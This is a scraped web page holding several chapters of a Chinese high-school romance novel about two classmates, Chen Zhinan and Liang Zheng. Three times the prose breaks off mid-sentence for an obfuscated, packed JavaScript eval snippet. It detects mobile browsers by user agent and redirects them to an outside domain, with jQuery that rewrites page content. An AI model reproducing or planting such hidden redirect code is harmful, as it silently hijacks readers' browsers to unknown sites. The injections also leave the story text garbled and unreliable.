围观的同学络绎不绝,很快在陈枳南身后裹了一个巨大的半圆。 穆岚已经欣赏一下午了,仍然爱不释手:“为了这张艺术的结晶,我得晒黑好几个度,不过也值了!” “为艺术献身的人都会记入史册的,你已经在我的史册上啦。”陈枳南削好素描笔,准备摆进文具盒里时,竟然发现她放里面的发夹不见了。 “有这样的巧手,以后都不愁找不到工作了。”穆岚喃喃道。 陈枳南没搭话,一味掏空文具盒,却只倒出些橡皮屑。 怎么会不见了? 她下意识想到梁筝。毫不犹豫转身,在他桌洞里摸索着,仍然一无所获。 穆岚说:“他这破桌洞能有什么东西,你再回去好好找找。” 陈枳南又回去翻自己的桌洞,摸到最里面,一张叠好的纸条碰巧黏在她手上,顺势被带了出来。 纸条背面歪歪扭扭画着一个哭泣的表情。 她打开纸条—— 嗨?你好!我是来自比奇堡的海绵宝宝,我最好的朋友派大星不见了,如果有幸被好心的你看到,放学后可以帮我找找他吗? * 陈枳南第一次觉得教室钟表的分针如此沉重,像背了八十斤包袱,漫长到她数了十遍素描笔,看了十八次窗外绿化,还有麻雀第三十二次落在电线杆上…… 黄昏垂落,城市神秘而朦胧。 汽车吹着口哨,草儿摇头晃脑,风在向她打招呼。越来越近……越来越清晰…… 像四小天鹅踮着脚站在心尖,忐忑,雀跃,期冀,又担心。 派大星粉粉的掌心里捧着一个小木盒。 就猜是在这里。陈枳南小心翼翼打开盖子,铺满水果糖的木盒中间卧着枚发夹。 是她的发夹。 “你的小波没有丢。” 耳膜涌入熟悉的声音。陈枳南回头,少年被一层柔和的琥珀色包裹着,逆着光,只看得清轮廓。 梁筝负手走到她面前:“她就在这里等你,比以前更完美。” 她从来没有这样近距离观察过他的眉眼,英挺的鼻梁埋着一颗痣,清隽又柔和,虽不算一眼万年的好看,却依旧让人忍不住沦陷,眷恋。 “你就是海绵宝宝?” “那不然,还能有谁。” 心中那捧灰烬似乎又被点燃。陈枳南轻声问:“这是你补的?” “啊……我就是随便补了补,毕竟是我给你弄坏的……”梁筝不好意思地挠了挠头,“不过我保证,以后肯定不会掉了。” 陈枳南凑近,仔细端详。果真还是原来那个发夹,除了被岁月摩挲的边缘泛黄,看不出其余有损坏的痕迹。 她抬眼望:“你……怎么会知道这儿?” “那当然是又来过了!而且我还发现,李主任在这儿养了个野生西瓜,真是石头缝里找草籽——闲的没事儿干,被开瓢了吧。” 陈枳南“噗嗤”一声笑了出来。 梁筝见状,胸口紧着的事终于松快许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765594|174570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多。 “这么说,我沉冤得雪了?”她接着问。 梁筝乖乖点头,眼神飘忽:“我那天太冲动了。虽然不知道这个对你来说意味着什么,但你一直随身带着,肯定是很重要的,所以……” 所以对不起?陈枳南暗暗替梁筝抢答。 “我就是不想成为千古罪人。”他不经意侧过脸,云淡风轻。 “其实也可以没那么重要……”陈枳南小声嘟囔。 让另一个人背负过多歉疚是一件同样有负罪感的事,何况梁筝这样骄傲的人。她不想,不想让他欠着自己,也不想欠着他什么。 何况,这发夹本身也许就是一个笑话。 面前的男孩喉结微颤:“那,你还生气吗?” “嗯,还生气。” “那你说,怎么能消气。罚我去跑圈,或者送十根烤肠给你,十根冰棍也行……不行不行,太多了也吃不完,吃不完就浪费……” 陈枳南打断他:“我刚来淮海没多久,还不认识附近有什么街机厅,你能带我去吗?不然那些游戏币就都浪费啦。” 女孩的回答出乎他意料。“就这个?没别的了?” 陈枳南点点头。 “这个简单,周末小卖部集合,带你好好见识见识。”梁筝答应得爽快,笑出一排白牙。 橘色的风晃动两人衣角。 盎然柳树下,他们面对面站着,酣畅淋漓的电影已经结束,却迟迟不肯谢幕。 梁筝抽出揣在口袋里的手:“那就今天,为之前的误会做个了结吧。” 了结?怎么了结?难道是以后,再也不会有交集了吗。 “重新认识一下。同学你好,我叫梁筝。栋梁的梁,风筝的筝,从今以后,我们就是朋友啦。” 递手,微笑。 * 回家路上,喧嚣都变得恬静。 梁筝……略带生涩的名字滚过喉咙,一缕甜意慢慢地从心底里滋生。 像咬破水蜜桃钻进嘴角的汁水,流淌进身体里每一个细胞。 发夹悄悄躺在书桌上,女孩翻开笔记本。“梁、筝。”她一笔一划,一笔一划地将这两个字描在纸上。 第一次近距离认识这个名字。 可能……她也冲动了。 薄荷好像也没那么讨厌。 * 小卖部风扇吱呦转着,刚沏好的热茶飘出香韵,十分惬意。 穿着校服的少年飞速窜进门,忙问道:“叔,你这里有没有502胶水啊?” “那边架子上,两块。” 梁筝拿着胶水,从兜里掏出两块钱,放到柜台桌上的盒子里。 “叔,借你桌子一用,我赶时间。”话还没说完,就轻车熟路搬来了一只矮脚凳,坐定着手忙起来。 老板叔叔定睛瞧了一眼:“嗬,这咋是姑娘家的东西?” “同学的,让我不小心弄坏了,怎么都得修好还给人家吧。” “那确实。”看着男孩毛手毛脚,他抿了口茶,“粘的时候小心点,弄在肉上疼得要命,严重了还会烫出泡。” 梁筝看了眼手表,还有十分钟。 一个发夹而已,随随便便不就修好了。他十分自信拧开瓶盖。 “嘶……好像歪了……” 事实证明,想要让图案和发夹粘的严丝合缝,又不能把发夹粘在一起扒不开,这样细致的活儿他的确做不太来。 时间一分一秒过去。 “OK,搞定!” 梁筝骄傲捧着自己完美的作品,后知后觉,指尖火燎一样灼痛。 5. 青橘(4) 比奇堡世界里。 派大星:“嘿,海绵宝宝,我们去抓水母吧!” 海绵宝宝:“对不起,派大星,我不能去,我今天要上学。” 派大星:“如果你去上学的话,那我今天该干点什么?” 海绵宝宝:“我不知道……一般我不在家的时候你都干什么?” 派大星:“等你回来。” * “这件会不会太草率了?” 锃亮的落地镜前,女孩抱着摞成小山的衣服,自言自语,十分纠结。 第一次和朋友出去玩,要不要穿正式一点,陈枳南翻出件淡蓝色条纹衬衫,贴上身打量着,又觉得哪里奇怪……算了算了,还是随意一点吧,不能让对方觉得她很在意这次见面,而且,这又不是最后一次。她暗暗肯定,换了一件小熊T恤。 怎么有这么多雀斑啊……鼻头也不够翘,青春期的小姑娘捧着脸蛋愁容满面。 听说现在韩国最流行整容,等她以后赚钱了,就去坐飞机韩国,把这些雀斑都去掉,再把鼻子捏高一点。 可那样就会变成美女了吗……越看越惆怅,越想越烦恼,一头扎进柔软的被子里。 出门前,女孩反复检查,反复确认。 * 人间四月,路边的杏花和玉兰全都开了,花瓣婆娑,轻柔地触碰着每一颗充满希望的心脏。 陈枳南提早半小时就到了。 一身淡黄色碎花裙挎着碎花小包,亭亭玉立,站在杏树下,散落肩上的发丝飘扬勾住落英,和满城的缤纷融为一体。她双手交叠放在身前,却不扭捏。 梁筝匆忙停好自行车,飞奔过去。 边跑边看着手表:“抱歉啊,我应该早点来等你的。” “没事,我作业写完得早,也想早点出来逛逛。”心里早已惦念许多遍的少年突然出现,陈枳南有些紧张。 “你这么一打扮,还真挺像艺术家。” “啊?很奇怪吗?”陈枳南立马低头看裙子,肩膀却忽然受力。 “挺好看的。”梁筝笑吟吟拍她,“我们走吧。” 街机厅离海中只有一个路口的距离,毗邻网吧和冰淇淋店,门头虽然小,可里面却塞得满满的。几个纹身小伙蹲在马路边抽烟,看上去和他们年龄相仿,身后却停着一排摩的。 陈枳南被眼前的景象所震惊,厅里摆放至少三十台各式各样的街机,柜台香烟啤酒矿泉水雪糕一应俱全,像一个夹缝生存的小卖部。据梁筝说,这是这条路上最大的游戏厅,附近几条街的人闲来无事都会相约来这里,硬件软件都齐全可还是供不应求。 梁筝在前面引路,两人慢慢往里走,找寻一个不拥挤、无人打扰的地方。 两人最终在一个角落落座。 梁筝摁下按钮调出菜单栏,指着屏幕问:“玩过这个吗?” “没有。” “那你先看我玩一遍,然后再自己试试。” “好。” 准备就绪。梁筝掏出两枚游戏币投进去。 摇杆开始晃动,目光却不可控地被侧脸吸引。 游戏厅变幻的灯光为他渡了一层迷人的光晕,寸长利落的短发,薄唇高鼻,流畅的下巴衔接脖颈,喉结轻凸,上下滚动。 此时此刻,坐在他身边隔着五公分的距离,或许就是一种享受。 两个人的眼睛同时闪烁着。 陈枳南想,如果有一台相机就好了。 如果有一台相机,定格在这一刻,这个角度。少女所有不切实际的幻想都会变成现实,储存在相机里,变成一串只有自己才懂的摩斯密码。 一颗心萌出纯净又隐蔽的情感,埋藏深处的种子被蜜儿浇灌,攀生出嫩芽。 忍不住笑。 “KO!赢啦。”梁筝扭头看她,“看明白了吗?” “这太复杂啦,又要摇柄又要摁按钮,你要不然再打一局?再慢一点……”陈枳南借机光明正大地说出小心思。 梁筝宽大又温热的手掌一把抓过她手,放在操作台上:“来,你先上手找找感觉,输了也没关系的。” 只有一瞬。陈枳南感觉心跳到了喉咙,穿到指尖,酥酥的,麻麻的。 全身变得僵硬。 “你手怎么啦?怎么像机器人一样?” “啊……” 想起来要操作摇杆,有一下没一下地按照梁筝指导,意料之内输掉了游戏。 她遗憾:“GAMEOVER喽。” “再来。”梁筝投币。 两人一连把菜单栏上的所有游戏都打了一遍。嘈杂的游戏厅里,有那小小一片,是只属于他们的桃源乡。 “怎么样,体验到玩街机的速度与激情了吧?”梁筝骄傲说。 即使对竞技类游戏并不大感兴趣,陈枳南依然表示赞同:“嗯——体验深刻。” 也许深刻的并不是游戏。 女孩抿唇,梁筝似乎捕捉到什么,眼波流转一瞬,迅速握住她的胳膊:“跟我来。” 温暖的手掌再次抚上,出乎意料,心头撞鹿。等陈枳南反应过来,身旁的景色已然变了模样。 原来街机厅里面还藏着一个小台球厅。 相比外面,这里可算清静多了,除了他们两个刚进来的,就只有一桌正焦灼对峙着。 “不玩街机了吗?”陈枳南问。 “啊,那些万年不变的游戏,打多了也没什么意思。”梁筝取了两支台球杆,熟练擦起巧克粉,“我教你打台球吧。” 他怎么什么都会一些?陈枳南下意识觉得,自己好像除了画画,还真没其他拿得出手的爱好。 自固于劣势的人,是永远无法主动与前方的人持平的。 那就尽可能去势均力敌。 “好啊,看起来挺有意思的。”她接过球杆,撸撸袖口,一副严阵以待的样子。 “首先握杆。”梁筝平行站在她身侧,耐心讲解,“两脚与肩同宽,站在球台一侧,重心……” 陈枳南一步一步学着梁筝,摆好姿势,架起手和球杆,瞄准…… 手臂用力一送,球杆触底,只蹭到边缘。 梁筝一眼看出端倪:“你发力不对。”走上前,走到陈枳南身旁。 甚至不到五公分的距离。 “把手架好。”舒缓干净的声线萦绕耳边,手发力忽而握住球杆后侧,牵住她整条手臂,整个人。 微俯的身体逐渐降低,直至退无可退。 梁筝欠身,挽住她肩膀,将身体捞了回来:“不要趴太低,也不要站太直。” 心跳震耳欲聋,渐渐听不清耳边低语,只看见面前散乱的球台冲出一只英勇无畏的白球,两球碰撞后又迅速折返撞上第二个,第三个,霎时过后,听见哗啦啦掉落进球袋的声音。 陈枳南不自觉发出惊呼。 “厉害啊小姑娘,这要是练熟了,还不得把我赢个精光。” 梁筝对自己带出来的徒弟满是骄傲。 陈枳南心满意足咂咂嘴:“知道我的实力了吧?” 嬉闹声下的时间总是过得异常快。 两人瘫坐在沙发上。 “感谢梁老师倾囊相授。我请你吃冰淇淋吧,你要什么味道的?” 梁筝扯开嘴角,回答说:“你请的都行。” 陈枳南拾起沙发上的碎花小挎包,挤出重围。 “老板,要两个香橙的。”她翻出张纸币递过去,等待老板找零。 突然,身旁刮起一阵风。 冰淇淋被掀翻,巨大的“风”勾住碎花包的背带拼命撕扯,面目狰狞,陈枳南下意识放手争夺,用尽全身力气却适得其反,惯性下狠狠倒地。 她大喊:“哎!有小偷!我、他偷我包,我包被偷了!” 梁筝几乎是飞出来的。 确认陈枳南安全后,扭头就追。 “站住!” 并不宽敞的街道瞬间拥上来一群人,堵得水泄不通。也许是关心则乱,怕一人难敌,陈枳南毫不犹豫报了警。 不可否认,看见梁筝着急跑出来追上去的那一刻,她是开心的。 宛若被从天而降的英雄拯救,黑暗里伸出的光明之手。那是一种无法被任何代替的被在乎的感觉。 但随之覆盖而来的是无止尽的自责和担心。一颗陨石坠着她整个人,迈不开腿,说不出话。 好消息是,梁筝成功追回了包,里面钱包手机钥匙都还在。 坏消息是,警察赶到的时候,两人正缠斗在一起难舍难分。 没事就好。揪着的心终于落地。 等做完笔录、接受完青少年思想教育从警察局出来时,已经是晚上了。 一切发生的太过突然,漫长,又短暂。 夜色沉酽,路边白炽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765595|174570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灯下,两人并肩朝学校的方向走着。 陈枳南藏不住关切,抬头凝望。 梁筝为了追回她的包和小偷打了起来,社会不良少年手下没轻没重,导致他颧骨擦伤,身上也有血痕。 梁筝也悄悄侧头,看向惊魂未定的女孩。两道炽热目光神奇交汇,却欲言又止。 就这样一路走到了今天见面的地方。街上行人稀少,小卖部半掩着门。 灯光下碎花裙衬得陈枳南的肤色更加白皙,长发海藻般浓密,柔软地垂落在肩膀。她紧了紧眉头,勉强牵起笑容,打算在这里分别。 “我先回……” 梁筝抢先一步,轻柔但坚定:“我送你回家吧。” 寂静的街道,余音回响。 * 梁筝的自行车没有后座,陈枳南似乎有些遗憾。 暗骂自己贪心的同时,她原地驻足:“我到家了。” “哦……那、明天见。”梁筝遥望着越走越远的女孩,骤然开口,“等等。” “怎么了?”陈枳南迅速奔回他旁边。 “把你手机给我。” 手机?陈枳南听话照做。 “这是我的号码,以后再遇到这种事,一定第一时间给我打电话。”他顿了顿,语气凝重,“最好是别再遇到。” 盯着屏幕上那串数字,如获至宝捧在手心。 可随即转念一想,他凭什么认为,自己能够摆平这种事,这一次受了伤,下一次指不定有别的意外,真把自己当超人么?陈枳南莫名有些气愤,她第一次发觉,自己竟然可以一瞬间生出两副面孔。 于是说:“第一时间……不应该先报警么?” “你钱包里这些零花钱连赃款都算不上,不够立案,就别给他们添乱了。而且……我骑车,比他们快多了。”梁筝满眼流露出真诚,夹杂一丝得意。 陈枳南耸耸肩:“好吧。” 手臂晃动一闪而过,时间太久,点点血珠风干成褐色,不大不小的擦伤在陈枳南看来,是那样触目惊心。 “你在这别动。”她一步三回头,“等我一会儿,马上来。” 梁筝把自行车停在一边,找了棵可以倚靠的法桐,仰着脖子瞧。 楼上一间窗户亮起灯,没等多久,就瞧见浑身泛着橘黄色光芒的陈枳南逆着光,提着药箱从楼道跑出来。 他兀然忆起白天。女孩打理精致的发型如今早已毛躁得蓬成一团,有几根格外不听话,固执扒在脖颈两侧。 心里莫名漾起一阵涟漪。 他轻佻笑道:“装备还挺全。” 对方沉默不语,把药箱放在地上。 “你家怎么没人?还是这个点就睡啦?” 陈枳南暗暗咯噔一下,连忙藏匿起因窘迫而红起的脸颊,垂头捣弄着棉签碘伏。 她一向不知道如何回答这种问题,索性不回答。 “我们淮海爷们儿从小就野,这些小磕小碰不算什么。”梁筝看她神色愈来愈严肃,便抬一副无所谓的样子,终不敌对方刺来的眼神,乖乖将胳膊递了出去,“你们女孩子就是爱小题大做。” “管你爷不爷们,爷们也是人,也会疼。”陈枳南嗔怒,见梁筝的视线移向别处,故意用棉签沾了点酒精,轻戳伤口,“疼不疼?” “不疼啊。” “啊?不会是伤得没知觉了吧?”闻声兴奋不已,立马折身去抓酒精棉球,“不得了啊不得了……你别急!我换个大的试试。” 梁筝眼睛瞪圆,慌忙撤手:“哇塞,这小姑娘,也太狠心了吧!” 嘴硬,疼死你算了!陈枳南把一大张创伤贴递给他,又送上碘伏棉签:“你……自己擦脸上。” 梁筝腼腆地笑,乖乖“敷衍”她。 不会留疤吧。陈枳南抠着指甲,有些紧张,这么好看的脸,就算留疤也不会变丑,大概看起来会更成熟一些。 “对不起啊,我要是不出去就好了……”难过的情绪涌上,她声音越来越小,“也不小心一点……脸上挂了彩,明天还要去班里上课。” 梁筝失笑:“这可是我见义勇为的勋章!没事儿,我说我骑车摔了,不会有人多问。” “梁筝。”陈枳南鼓起勇气。 名字从舌尖化开,带着清甜,是焦糖布丁敲开表层时的脆响,那样动听。 “谢谢你。” 谢谢,有你。 6. 青橘(5) “159……” 屏幕微亮弥散透红脸上,寂静的楼道里,喘息声很不均匀。 大步流星飞跃楼梯间,一会儿雀跃合不拢嘴,一会儿惆怅喃喃自语。陈枳南蹦跳着停在门前,打算掏钥匙。 “丫头!你可算回来了!”身后那扇门忽然响动,一双眼睛炯炯有神望着她,眉头蹙起,“这孩子,也不接电话,什么事这么高兴啊?” 笑容霎时凝固,抠着手机的掌心微微渗出汗。 陈枳南这才想起在警察局里做笔录时,腰间微微震动的挎包。打开未接电话那栏,上面一排红色提示灯赫然醒目。 “没什么。不好意思啊王阿姨,我手机快没电了,所以没看……” “我还以为你出去玩不认得路,回不了家了。要是十点钟再不回来,阿姨都准备报警找你了!” “不、不用报警。”陈枳南脱口而出,浑身暗暗颤栗。这片区域都归属一个公安局管辖,民警大哥指不定已经脸熟她,再进一次,恐怕还会生出许多不必要的误会。 立马自信拍拍胸脯,笑道:“我都这么大了,肯定能找回来。那个……王阿姨,你等我这么晚,是不是又做了好吃的?”她好奇探头。 王阿姨兴致勃勃转身,从厨房里提出来几条酱油茶色的东西:“自家做的熏鱼,拿给你几条尝尝,好吃的话我下次再多做点。” 王阿姨是个热心肠的人,他的儿子女儿都远在国外,一年回不来几次。 平日不免来往,知道邻居是个文静的小姑娘,还是一个人住,总是会尽可能多照看一眼。陈爸偶尔回家,也会给王阿姨夫妇带许多外地的特产和保健品,一来二去也就成了热邻。 院墙破旧,历经风霜的小楼里,两扇小小的门深切对望,相互取暖,相互依偎。 陈枳南接过,脸上开出花:“谢谢阿姨!” * “炸弹!” “要不起。” “再炸!” 刚接到春季运动会通知,李宏伟就下达了保二争一的指令。体委卓越正四处游荡,撺掇着同学报名,可惜业绩实在不甚可观。 他凑到人堆里:“干嘛呢你们?” 熊志远亮出贴在桌上的毛爷爷照片:“这还看不出来么?打土豪,分田地,斗地主是也。” 卓越鼻腔哼出一声笑,转眼注意到梁筝胳膊上的创伤贴,和脸上殷红的痕迹:“嗬,你这是跟谁干架去了?怎么弄的。” “三带一对儿,”周铭扬摇摇头,咂嘴调侃,“估计是路上看见了什么大美女,挪不开眼睛,‘咣当’撞树上了吧。” “周铭扬你是不是找死。”梁筝朝对面扬了一拳。 “负伤的这位我就不强求了,你们俩,必须给我报名。”卓越把纸片扫开,指点江山的手忽然移向里面两个女生,“还有你俩。” 穆岚和陈枳南搂在一起:“我俩不行,我和南南已经光荣成为运动会志愿者了。” 熊志远好奇:“志愿者干什么?加分吗?” “就是指挥现场,检录运动员什么的,也可能负责拍照和送水吧。”陈枳南说。 周铭扬打趣道:“就这啊,我还以为附加按摩洗脚服务呢。” 几人呵呵笑着。 “行了行了,再打不完这局就要上课了。”梁筝抢过报名表,“我报。” * 菜市场般的楼道,穆岚一脸狞笑,向身旁女孩八卦:“你跟梁筝什么情况?” “我跟他能有什么。”陈枳南答得飞快,攥着水壶的手掌微微发热,“有也是冤家。” “不是冤家不聚头啊。” 穆岚哀叹,想起上回梁筝为了道歉求她瞒住陈枳南的事,对自己亲眼看着长大的养成系“女儿”很是担忧,语重心长:“人都会伪装,尤其是梁筝这种长得好性格好学习好的,一贯花言巧语,很多小姑娘都吃这一套,你可要擦亮眼睛,别被他勾去。” 说的有道理,她确实很吃这一套。 脑海浮现出春雨般润物细无声的少年,下意识相信,拥有那样纯白笑容的人,本身就是一个很好的人。 或许她是众多小姑娘中的一个,不过相比之下,能和他成为朋友,近距离看着他,也是很幸福的事情…… “我觉得,还是分人吧,比如……”心事轻轻藏匿,陈枳南坏笑,目光转向穆岚,“周铭扬就不会伪装,恨不得让全班同学都知道他喜……” “陈枳南!”话还没说完便被堵住了嘴巴。 两人你追我赶,犹如菜场捉鸡,被捉到走廊尽头时陈枳南亮了白旗:“我不提了,不提啦。” “第三天了,阮佳佳,你别太过分。” “我说了,我不要!” “今天你必须拿着,并且答应我的要求,不然我就把所有事都告诉你爸。” 大高个把女生堵在饮水机旁,气势呈压倒性。 校服环在腰上,刻意露出名牌短袖,身体习惯吊儿郎当地站不直,陈枳南只看了一眼就觉得很不舒服,忍不住皱眉。 “干什么呢!”穆岚大吼一嗓子,气势汹汹绕到大高个面前,“光天化日欺负我们班女同学,是当我这个班长不存在吗?” 陈枳南见状立马跑过去,一只肩膀挡在女孩身前。 大高个掐起腰,不耐烦道:“我俩处理私事,碍着你们什么了?起开。” “碍着了我接水的好心情,有问题吗?”穆岚不甘示弱,一步一步向大高个逼近。 围观水房的目光逐渐增多。 焦灼对峙的两人名号在全年级都是响当当的,陈枳南不认识,可穆岚认识。 同样,大高个也认识。 大高个被穆岚的气场逼退两步,不可置信指向前方:“你知道我跟她到底在干什么吗?不信我的话,你去问她。” 陈枳南握住女孩的手,女孩似乎被这出乎预料的一幕吓懵,泪水盈满眼眶。 穆岚冷声道:“我只看见了你威胁她。” “跟你这个男人婆有什么好解释的。”大高个狠狠啐了声,借着身高优势一眼刺向陈枳南身后的女孩,“跟我走!”说完便闷头往前冲。 “你说什么?你再说一遍!” 穆岚简直火冒三丈,抄起手却只拽住那人衣角,可来势汹汹,陈枳南下意识护住身后的女孩,两只手胡乱在空中飞舞。 “别……” 刹那间好几双胳膊缠绕碰撞在一起,难分你我,指甲划过皮肉发出隐痛,脚下碎步错综镶嵌。混战中,陈枳南不知被谁绊了一下,忽然摔出了包围圈。 这一屁股实打实的敦在瓷砖上,脑袋晃成了浆糊。不过好在她反应快,顾不上疼痛又一骨碌爬起来,重新抓住被撕扯的女孩。 男厕所噼里啪啦传来一阵异动,紧接着—— 清凉透心的水花像烟花蓄力升空,绽放出巨大能量后迅速降落,铺天盖地,模糊了视线。 “走!” 耳边炸开让她瞬间清醒的声音。 理智和心跳碰撞。 手被一股极具占有的力量包裹住,释放出电流,攻势澎湃,缕缕钻向心底,带动着、牵引着她……似乎在奔跑,将世界的所有喧嚣都甩在身后。 少年身影如风,折光化作一道温柔轻盈的弧线,接住了十六岁的陈枳南。 那时她孤独、自卑、迷茫,却不胆怯。 如火焰般明亮洒脱的男孩就这样毫无保留闯入她的轨道,烫过她的青春,甚至烙进她的生命里。 就这样做朋友吧,就这样一直跑,一直跑,直到世界尽头。 温煦阳光下,影子交叠在一起,逐渐拉长。年少懵懂的女孩一度以为,那就是未来。 * 被打湿的发丝还在殷殷滴水。 这是陈枳南有生以来第一次和这么多人被抓包进办公室,也是第一次以这样的名义被罚站在老师面前,居然丝毫没有紧张的感觉。 任办公室气氛再如何异常,任皮鞋再如何“嘎达嘎达”地响…… 仿佛都与她无关。 因为正义之神始终眷顾着她。当然,她也是后来才知道,这是一场彻头彻尾的乌龙事件。 “我怎么知道他这么好心。”穆岚翻了个白眼,不屑地盯着大高个冯飞,“不过,也不能全怪我吧,他怎么看都不像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765596|174570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个好人。” “同意。”陈枳南这次格外认真,上下打量着冯飞。 裤腿挽到膝盖,系在腰上的校服不翼而飞,身上的短袖还没干,刘海长到快遮住眼睛…… 的确不像个正经人。 去办公室的路上穆岚悄悄告诉她,冯飞是海中出了名的混混,已经留过两级了。之前还扬言只要他愿意,就可以一直上学,永远不踏入社会,如果一不小心毕业了,也能直接被安排进他爸的国际公司,躺着数钱。 “唉,往事不必再提,如今的我已经成长了,稳重了不是吗?” “闭嘴!”两人异口同声。 冯飞吃瘪,撇嘴“嘁”了声:“谁让你们连个解释的机会都不给我,上来就要干架,尤其是你……”说到激动处指向穆岚,又被一眼瞪了回来。 穆岚忿忿:“谁让你好心办坏事,有那样送东西的吗?你当养宠物呢?” 一旁的阮佳佳脸涨红,低声呢喃:“对不起啊,都怪我没及时跟你们说……” 阮佳佳人如其名,是个柔软又白净的姑娘,眉若柳叶,唇似樱桃,软言软语更是惹人爱怜。 冯父是淮海有名的房地产大老板,而阮佳佳的父亲碰巧在冯父的手下做事,阮家条件拮据,冯父为人又和善,特意嘱咐冯飞要好好关照阮佳佳。 冯飞也听话照做,每天都给阮佳佳带早餐,不免风言风语。三天前阮佳佳生日,冯飞特意给她买了生日礼物,可阮佳佳怎么说也不肯收,这才歪打正着发展成了厕所水战。 “没事儿的佳佳,是我们没搞清楚。”陈枳南抚上阮佳佳肩膀。 她能够明白,对于阮佳佳来说,拒绝冯飞是出于自我保护。青春期的女孩难免敏感,而让她不自在的,并不是别人的关心,而是带有同情和怜悯的关心。 穆岚表示赞同:“不过,如果以后真有人欺负你,今天就是那个人的下场。” 女孩们会心地笑。 “送你了。”冯飞挎起书包,不知从哪儿掏出一个巴掌大小的盒子,顺手就塞到穆岚怀里,“不跟你们说了,我回家了。” 穆岚大惊:“哎!这什么东西啊?” “某人不识货,我留着也没用,你们拿去玩吧——”话音未落,便迎面撞上抱着卫生工具风尘仆仆赶来的两人。 打过照面后,只余下远走背影。 云层裂开缝隙,透出橘黄色的夕阳,碎金闪烁,溜进眼睛里。 陈枳南不经意把手藏到身后,摩挲着掌心。 李宏伟罚他们放学后打扫整层楼道。等同学陆续都走干净,几人才准备着手干活儿。 “周铭扬?”穆岚边拆着盒子边问,“你在这儿干嘛?” 周铭扬腼腆挠头:“嗐,我作业都写完了,闲着也是闲着,陪陪你们。” “你们和那傻大个儿说什么悄悄话呢。”梁筝饶有趣味凑过来,“这是什么?” “啊……”陈枳南不假思索,“刚捡的垃圾。” 礼盒裹得像个粽子,一层一层剥开后,终于露出真面目。 是个数码相机。 “哇塞!这是最新款啊。”周铭扬眼睛亮起来,一脸真诚,“我看了很久都没舍得买,哪个垃圾堆捡的?我也捡个去。” “没出息。”穆岚又抢回手里摆弄着,“有这么牛吗。” “滴”声过后,屏幕亮起,四方框框入一小片教室桌椅。 陈枳南道:“诶,开机了。” “那正好,咱们拍张合照吧!”梁筝忽然提议。 “好啊!”穆岚把相机递给梁筝后,拉着陈枳南和阮佳佳来到教室中央,“来佳佳,今天是咱们成立伟大革命友谊的纪念日,必须拍照留念!” 两人将阮佳佳拥到中间,白嫩的小脸上漾起笑容,一左一右紧紧揽住她们。 周铭扬偷偷绕到穆岚后面,梁筝把相机摆在讲台,调整好模式,镜头对准,摁下快门—— “快快快,延时三秒!”白色衬衫闪过一道残影,飞奔回人群。 衣角翻飞掀起一阵清风,拂过陈枳南鬓发,悄然降落身后。 “三!二!一!茄子——” 7. 酸橘(1) 暮色四合,打扫卫生的工作差不多进入收尾阶段,周铭扬非要和穆岚一起倒垃圾,陈枳南只好去厕所洗抹布。 寂静的教室只剩下两个人。天空黯淡成青灰色,包围那颗滚烫依旧的心脏。 梁筝单肩挎着书包,放好拖把桶准备离开。 “梁……梁筝。”女孩柔软的声音飘荡耳边。 闻声转身,笑吟吟看向身后:“怎么了?” 阮佳佳脸颊陷出小梨涡,微微俯身:“今天谢谢你。” 幽暗灯光下,气氛些许暧昧。门外一道人影忽而不合时宜地闯进视线,阮佳佳忙补充:“还有穆岚,和枳南。” 攥着抹布的手顿然悬空在原地。 * 风有初夏的味道。 梁筝刚抱着篮球回来,就看见穆岚忙不迭挥舞着纸巾:“梁筝!看看你养的臭薄荷,招这么多小飞虫,恶心死啦。” “我这是为夏天的生化武器未雨绸缪,净化空气,不信你深吸一口气......”梁筝佯作享受,闭上眼,胸口起伏,“清新,芳香。” “屁!我只吸到了虫子的尸体。”穆岚忿忿把沾着虫子的纸丢到梁筝怀里。 “嘁,你要是嫌弃,实在不行......咱俩就换换位呗。”梁筝随手把扇着风的课本扔到穆岚桌子上,爽快道,“正好我快热死了。” 穆岚巴不得赶快搬走。 座位一阵骚动,总算在上课前收拾整齐。 白昼渐长,日头也渐毒,却远不及仲夏的闷热。避开喧嚣默默望着车河流动,清风徐徐,好不自在。 窗边,女孩安逸地沉睡着。脖颈后方汗珠晶莹闪烁。 梁筝动作轻柔,悄悄把窗户推上。 “你不是快热死了吗?” “春捂秋冻听过没?”梁筝摊手。 夺命连环上课铃准时响起。 陈枳南惊醒,一骨碌爬起,轻拍脸颊让自己恢复意识。 